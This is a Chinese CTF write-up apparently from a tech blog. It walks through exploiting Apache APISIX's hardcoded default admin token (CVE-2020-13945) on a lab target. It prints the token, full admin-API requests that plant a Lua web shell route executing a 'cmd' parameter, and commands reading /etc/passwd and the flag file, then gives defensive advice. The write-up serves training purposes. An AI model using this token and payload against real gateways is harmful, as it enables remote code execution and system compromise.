当前位置: 首页 > java >正文

某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag

某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag

在最近的CTF靶场练习中,我遇到了一道关于API网关安全的题目,考察的是Apache APISIX的默认Token漏洞(CVE-2020-13945)。本文将详细记录我的解题过程,分享如何从零开始识别并利用这个漏洞最终获取flag。

题目信息

靶标介绍:

Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token。攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

目标地址
be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

解题过程

第一步:初始探测

访问目标地址,得到如下响应:

{"error_msg":"404 Route Not Found"}

这个响应告诉我们:

  1. 服务正常运行
  2. 没有配置默认路由
  3. 很可能是Apache APISIX网关(根据题目描述确认)

截屏2025-06-13 08.32.46

第二步:识别漏洞

回忆常见的APISIX漏洞,CVE-2020-13945浮现在脑海:

  • Apache APISIX在使用默认配置时,会使用硬编码的管理员Token
  • 默认Token为edd1c9f034335f136f87ad84b625c8f1
  • 通过这个Token可以访问管理API创建恶意路由

第三步:验证漏洞存在

使用Burp Suite构造管理API请求:

  1. 发送一个简单的GET请求到管理接口:
GET /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

如果返回403,说明Token错误;如果返回200或404,说明Token有效。

  1. 尝试创建测试路由:
POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json{"uri": "/test","upstream": {"type": "roundrobin","nodes": {"example.com:80": 1}}
}

成功创建路由验证了漏洞存在!

第四步:构造攻击载荷

为了获取flag,我需要执行系统命令查看服务器上的文件。构造如下恶意路由:

POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 411{"uri": "/attack","script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M","upstream": {"type": "roundrobin","nodes": {"httpbin.org:80": 1}}
}

这个载荷创建了一个/attack路由,它会执行通过URL参数cmd传入的系统命令。

截屏2025-06-13 12.11.49

第五步:执行命令寻找flag

  1. 首先检查当前用户权限:
GET /attack?cmd=cat /etc/passwd HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

返回结果如下图:

截屏2025-06-13 12.15.43

  1. 查找flag文件(通常位于/root或/home或者/tmp目录):

截屏2025-06-13 12.16.51

发现flag位于/tmp/flag.txt

  1. 读取flag内容:
GET /attack?cmd=cat /tmp/flag.txt HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

成功获取flag!

截屏2025-06-13 12.17.33

  1. 提交成功

    截屏2025-06-13 12.19.57

第六步:清理痕迹(可选)

在真实渗透测试中,记得删除创建的路由:

DELETE /apisix/admin/routes/00000000000000000016 HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

漏洞原理深度分析

这个CTF题目考察的是CVE-2020-13945漏洞,其核心问题在于:

  1. 硬编码凭据:APISIX默认配置中包含固定的管理员Token
  2. 权限设计缺陷:管理API没有默认的访问控制限制
  3. 脚本注入:路由配置允许直接执行LUA代码且无安全过滤

攻击链如下:

默认Token → 访问管理API → 创建恶意路由 → LUA脚本注入 → RCE

防御建议

针对此类漏洞的防御措施:

  1. 修改默认配置:部署时必须更改所有默认凭据
  2. 网络隔离:管理接口不应暴露在公网
  3. 输入过滤:对LUA脚本进行严格的沙箱限制
  4. 最小权限:服务账户使用最低必要权限

总结

通过这道CTF题目,我们学习了:

  1. 如何识别Apache APISIX的默认配置漏洞
  2. 利用管理API创建恶意路由的技巧
  3. 通过LUA脚本注入实现RCE的方法
  4. 在CTF中寻找flag的系统性思路

这类题目在现实中也很有意义,提醒我们始终要修改默认凭据,加强API网关的安全配置。希望这篇writeup对大家今后的CTF比赛和实际安全工作有所帮助!

http://www.xdnf.cn/news/13947.html

相关文章:

  • 2025虚幻角色模型相关笔记
  • Linux用户管理进阶:权限体系深度剖析与实战优化方案
  • 题目类型——左右逢源
  • Python-Flask实现登录
  • PRUD币将于6月16日正式上线欧易Web3交易所,市场热度持续飙升
  • 【Qt/数据结构 QMap是什么类型的数据结构?】
  • 《第一章-初入江湖》 C++修炼生涯笔记(基础篇)C++初识
  • Rust高级抽象
  • Mysql 忘记密码后如何修改
  • 稀土化合物在生态环境的应用
  • 制造业网络安全的挑战与应对策略
  • 德瑞新能源“天佑”车队再征雪域 中尼绿色丝路开启新程
  • 如何在 Android 和 iPhone 上发送群组文本
  • 【常见排序算法】java 代码实现
  • Power Query动态追加查询(对文件夹下文件汇总)
  • WebSocket 前端断连原因与检测方法
  • Bean对象不同的方式注入,是不同的annotation接口描述
  • Java单元测试
  • 【走进Golang】测试SDK环境搭建成功,配置path环境变量
  • 深入剖析AI大模型:Prompt 开发工具与Python API 调用与技术融合
  • idea中导入maven项目的方法
  • AWS S3:云存储的“超级基石”
  • Coze扣子 - AI生成数字人口播视频
  • freeswitch使用hiredis的limit功能
  • <8>-MySQL复合查询
  • java发送excel附件的邮件
  • 计算机视觉与深度学习 | 2024年至2025年图像匹配算法总结(原理,公式,代码,开源链接)
  • 【白雪讲堂】当前GEO是否能追溯数据源?
  • 6.13 note | 二分查找
  • 基于大模型预测单纯性孔源性视网膜脱离的技术方案